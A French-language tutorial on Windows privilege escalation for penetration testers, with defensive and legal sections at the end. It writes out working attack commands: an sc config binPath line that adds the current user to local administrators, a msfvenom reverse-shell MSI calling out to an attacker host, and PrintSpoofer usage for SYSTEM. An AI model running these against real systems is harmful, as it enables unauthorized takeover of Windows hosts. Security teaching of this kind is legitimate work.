Élévation de Privilèges Windows : Guide des Techniques (2026)

Qu'est-ce que l'élévation de privilèges Windows ?

Qu'est-ce que l'élévation de privilèges Windows ? L'élévation de privilèges Windows est la technique qui consiste à obtenir sur un système Windows des permissions supérieures à celles de votre compte actuel, généralement en passant d'un utilisateur standard ou d'un compte de service à un Administrateur local ou à SYSTEM. Elle exploite des mauvaises configurations locales et des failles non corrigées plutôt que la faiblesse distante qui vous a donné le shell au départ.

L'accès initial ne vous place presque jamais en tant que SYSTEM. Une application web vulnérable s'exécute sous l'identité d'un pool d'applications IIS, une base de données compromise sous le compte de service MSSQL, un identifiant hameçonné vous connecte comme utilisateur de domaine ordinaire. Aucun de ces comptes ne peut extraire les hachages locaux, installer un service persistant, ou se déplacer latéralement avec un contrôle total. SYSTEM le peut. L'élévation est le pont, et MITRE ATT&CK la suit comme une tactique à part entière, TA0004, car presque toute intrusion Windows sérieuse en dépend.

L'élévation Windows a une saveur différente de son équivalent Linux. Au lieu d'un simple bit de permission comme SUID, vous examinez la façon dont Windows enregistre les services, résout les chemins de fichiers et distribue les tokens. La bonne nouvelle est la même : la plus grande partie relève de la configuration, pas de la corruption mémoire. Vous n'avez pas besoin d'écrire du shellcode pour atteindre SYSTEM sur la majorité des hôtes vulnérables. Vous devez énumérer avec soin et reconnaître une courte liste de motifs.

Étape 1 - Énumérer l'hôte

L'énumération est le point de départ de tout shell SYSTEM. Avant de tenter quoi que ce soit, vous dressez un portrait de la machine : qui vous êtes, quels privilèges porte votre token, quels services tournent, et à quel point l'hôte est en retard sur les correctifs.

Commencez par les deux commandes qui ne coûtent rien et pointent souvent droit sur la réponse :

whoami /priv        # les privilèges que porte votre token actuel
whoami /groups      # vos appartenances de groupe et votre niveau d'intégrité

Cette première ligne compte plus que ne le pensent les débutants. Si whoami /priv affiche SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege comme activé, vous disposez probablement d'un chemin quasi instantané vers SYSTEM via une attaque de token, avant même de regarder ailleurs. Les comptes de service, y compris les identités IIS et MSSQL, portent ce privilège par défaut, ce qui explique pourquoi les compromissions web et de bases de données se terminent si souvent par une prise de contrôle totale.

À partir de là, élargissez le filet. Récupérez le niveau de correctif et l'architecture avec systeminfo, listez les services et leurs chemins d'exécutable avec wmic service get name,pathname,startmode, vérifiez les deux clés de registre AlwaysInstallElevated, et lisez les fichiers de configuration ou scripts laissés dans C:\, les racines web et les profils utilisateur à la recherche d'identifiants stockés. En pratique, une chaîne de connexion de base de données dans un web.config ou un fichier d'installation sans surveillance Unattend.xml est l'un des chemins réels les plus courants, et aucun outil automatisé ne le priorise pour vous.

Tout faire à la main est lent, alors la plupart des testeurs exécutent un script d'énumération automatisé pour balayer l'hôte en une passe. WinPEAS est l'équivalent Windows de l'outil Linux couvert dans notre guide LinPEAS, et PowerUp (issu de PowerSploit) se concentre spécifiquement sur les contrôles d'élévation liés aux services et au registre. Les deux signalent des candidats en quelques secondes. Ni l'un ni l'autre n'exploite quoi que ce soit. Ils vous disent où regarder ; c'est à vous d'ouvrir la porte.

Chemins de service non cités

Quand un service Windows enregistre un chemin d'exécutable qui contient des espaces et n'est pas entouré de guillemets, la façon dont Windows résout ce chemin devient un bug d'élévation. Prenez un service configuré pour lancer C:\Program Files\Vuln App\service.exe sans guillemets. Avant d'atteindre le binaire visé, Windows essaie chaque fragment délimité par des espaces dans l'ordre :

C:\Program.exe
C:\Program Files\Vuln.exe
C:\Program Files\Vuln App\service.exe

Il exécute le premier qui existe. Si vous pouvez écrire dans C:\ ou dans C:\Program Files\Vuln App\, vous y déposez un Program.exe ou Vuln.exe malveillant, et il s'exécute avec les privilèges du service, souvent SYSTEM, au prochain démarrage du service.

Trouvez les candidats en listant les chemins de service et en repérant ceux qui ont des espaces et pas de guillemets autour :

wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

La vérification des permissions d'écriture est ce qui distingue une vraie trouvaille d'un faux positif. Un service peut avoir un chemin non cité et rester sûr si chaque répertoire parent vous refuse l'accès en écriture. Confirmez avec icacls sur chaque dossier du chemin avant de vous emballer, puis vérifiez que vous pouvez redémarrer le service ou attendre un redémarrage. Sans écriture-et-redémarrage, un chemin non cité n'est qu'une observation de rapport, pas un shell.

Permissions de service faibles

Même avec un chemin correctement cité, un service est exploitable si votre utilisateur peut modifier la façon dont il s'exécute. Il existe deux variantes, et les deux se terminent de la même manière.

La première est l'accès en écriture au binaire du service lui-même. Si l'exécutable qu'un service SYSTEM lance se trouve dans un répertoire où vous pouvez écrire, vous le remplacez par votre propre charge utile et redémarrez le service. La seconde, plus courante, est la permission de reconfigurer le service. Énumérez ce que votre utilisateur peut changer avec accesschk de Sysinternals :

accesschk.exe /accepteula -uwcqv "%USERNAME%" *

Si la sortie affiche SERVICE_CHANGE_CONFIG ou SERVICE_ALL_ACCESS sur un service, vous pouvez pointer son chemin de binaire vers ce que vous voulez. Le geste classique consiste à faire ajouter votre compte au groupe des administrateurs locaux par le service à son prochain démarrage :

sc config VulnService binPath= "cmd /c net localgroup administrators %USERNAME% /add"
sc stop VulnService
sc start VulnService

PowerUp automatise la découverte des deux cas avec ses fonctions Get-ModifiableService et Invoke-ServiceAbuse, ce qui explique sa place dans votre première passe d'énumération. Le décalage à traquer est tout service de niveau SYSTEM qu'un utilisateur non-admin peut réécrire. Cet écart est toute la vulnérabilité.

AlwaysInstallElevated

AlwaysInstallElevated est une stratégie de Windows Installer qui, lorsqu'elle est activée, permet à tout utilisateur d'installer des paquets MSI avec les privilèges SYSTEM. Elle existe pour que le personnel non-admin puisse installer des logiciels approuvés, et c'est l'un des chemins d'élévation les plus propres quand un administrateur l'a laissée active. Le piège pour les défenseurs est qu'elle exige deux clés de registre définies, une dans la ruche machine et une dans la ruche utilisateur, et les administrateurs activent parfois les deux sans mesurer ce que cela ouvre.

Vérifiez les deux clés. Il vous faut chacune renvoyant la valeur 0x1 :

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Si les deux sont définies, vous construisez un MSI malveillant, le livrez, et laissez Windows l'installer en tant que SYSTEM. Notre aide-mémoire msfvenom couvre la génération du paquet ; la charge utile elle-même est un shell inverse Windows standard empaqueté au format MSI :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=443 -f msi -o setup.msi
msiexec /quiet /qn /i setup.msi

Récupérez la connexion sur votre écouteur et vous avez un shell SYSTEM. En pratique, c'est l'une des premières vérifications à faire, car il s'agit d'une seule recherche de stratégie pour un gain total. Quand elle est activée, rien d'autre sur la machine n'a d'importance.

Usurpation de tokens et attaques Potato

C'est la technique qui élève de façon fiable les hôtes Windows modernes et bien corrigés, car elle abuse d'une fonctionnalité voulue plutôt que d'un bug. Windows utilise des tokens d'accès pour représenter un contexte de sécurité, et SeImpersonatePrivilege permet à un processus d'agir au nom du token d'un autre utilisateur lorsque celui-ci s'y connecte. Les comptes de service portent ce privilège par conception afin d'usurper l'identité des clients qu'ils servent, comme documenté dans la référence des constantes de privilèges de Microsoft.

La famille d'outils connue sous le nom d'attaques Potato exploite ce privilège. Chaque variante contraint un service de niveau SYSTEM à s'authentifier auprès d'un écouteur contrôlé par l'attaquant, capture le token obtenu, et le réutilise pour lancer un processus en tant que SYSTEM. PrintSpoofer est la référence sur les versions actuelles de Windows : il déclenche le service Spouleur d'impression via un canal nommé et vous remet directement le token SYSTEM capturé à la commande de votre choix.

PrintSpoofer.exe -i -c cmd
# dans le nouveau shell :
whoami
# nt authority\system

RoguePotato et GodPotato couvrent les cas où PrintSpoofer ne s'applique pas. La règle de décision est simple : si whoami /priv affiche SeImpersonatePrivilege activé, une attaque Potato est généralement la route la plus courte vers SYSTEM, et elle fonctionne contre des hôtes où chaque chemin de service est cité et chaque correctif est à jour. C'est ce qui fait de l'usurpation de tokens le chemin d'élévation que les testeurs sérieux privilégient sur une machine durcie.

Ruches de registre et CVE réelles

Quand les chemins de configuration se tarissent, les vulnérabilités non corrigées deviennent la cible. Deux failles d'élévation Windows méritent d'être connues par leur nom, car elles ont circulé en production pendant des années et ont été durement exploitées une fois publiques.

HiveNightmare, aussi appelée SeriousSAM (CVE-2021-36934), était une faille de contrôle d'accès où les fichiers derrière le registre, dont la base SAM qui stocke les hachages de mots de passe locaux, devenaient lisibles par des utilisateurs non-admin sur Windows 10 build 1809 et ultérieurs. Comme Windows conserve des clichés instantanés de volume de ces ruches, un utilisateur standard pouvait lire une copie de la SAM issue d'un cliché, extraire le hachage de l'Administrateur local, et élever ses privilèges. Vérifiez toujours si les ruches de configuration sont lisibles lorsque vous atterrissez sur un hôte Windows 10 ou 11 non corrigé.

PrintNightmare (CVE-2021-34527) visait le service Spouleur d'impression, qui s'exécute en tant que SYSTEM et est activé par défaut sur la plupart des installations. Une faille dans la validation de l'installation des pilotes permettait à un utilisateur authentifié d'installer un pilote d'imprimante malveillant et d'exécuter du code en tant que SYSTEM. C'était assez grave pour que la CISA émette une directive d'urgence, une mesure réservée aux vulnérabilités sous exploitation active et généralisée.

Comparez le niveau de correctif issu de systeminfo aux CVE connues avant de recourir à un exploit public, et confirmez que la cible est un lab ou un engagement où l'instabilité est autorisée. Un exploit de niveau noyau qui provoque un écran bleu sur un hôte de production est un problème bien plus grave qu'un flag manqué.

Aide-mémoire de l'élévation de privilèges Windows

Gardez cet ordre d'énumération près de votre terminal. Il va des vérifications les plus susceptibles de payer vite à celles que vous sortez quand les chemins faciles sont à sec.

Comment s'en défendre

Comment prévenir l'élévation de privilèges Windows ? Supprimez les mauvaises configurations précises dont dépendent les attaquants. Aucun contrôle unique n'arrête tout, mais chaque chemin ci-dessus se ferme par un correctif concret et peu coûteux.

• Mettez des guillemets à chaque chemin de service qui contient des espaces, et refusez l'accès en écriture aux binaires de service et à leurs répertoires parents. Cela tue d'un coup les chemins non cités et le remplacement de binaire.
• Auditez les permissions de service. Aucun compte non-admin ne devrait détenir SERVICE_CHANGE_CONFIG sur un service tournant en SYSTEM. Passez-les en revue avec accesschk pendant le durcissement, pas après un incident.
• N'activez jamais AlwaysInstallElevated. Elle accorde à chaque utilisateur une primitive d'installation SYSTEM. Si le déploiement logiciel a besoin d'élévation, utilisez un outil managé qui s'exécute dans son propre contexte contrôlé.
• Limitez les privilèges des comptes de service. Là où un service n'a pas besoin de SeImpersonatePrivilege, retirez-le, et préférez des comptes de service virtuels ou gérés par groupe qui limitent le rayon d'action d'une attaque de token.
• Corrigez à une cadence réelle. PrintNightmare et HiveNightmare ont toutes deux été fermées par une mise à jour. La plupart des élévations réussies frappent des hôtes en retard de plusieurs mois.

Lors de tests sur des hôtes réels, la façon la plus rapide de trouver ces failles avant un attaquant est d'exécuter la même énumération qu'un attaquant, WinPEAS plus une revue manuelle des services et des tokens, de façon planifiée plutôt qu'une seule fois au déploiement.

Considérations légales et éthiques

Chaque commande de ce guide est ce qu'un vrai attaquant exécute pour transformer un point d'appui en compromission totale. La seule chose qui sépare un testeur d'intrusion d'un criminel tapant la même syntaxe est l'autorisation, convenue par écrit avant le début de l'engagement.

Entraînez-vous légalement dans trois cadres : les programmes de bug bounty dans leur périmètre publié, les engagements rémunérés sous un ordre de mission signé, et les plateformes de lab bac à sable conçues pour être cassées. Tout ce qui précède est écrit pour ces trois-là et rien d'autre.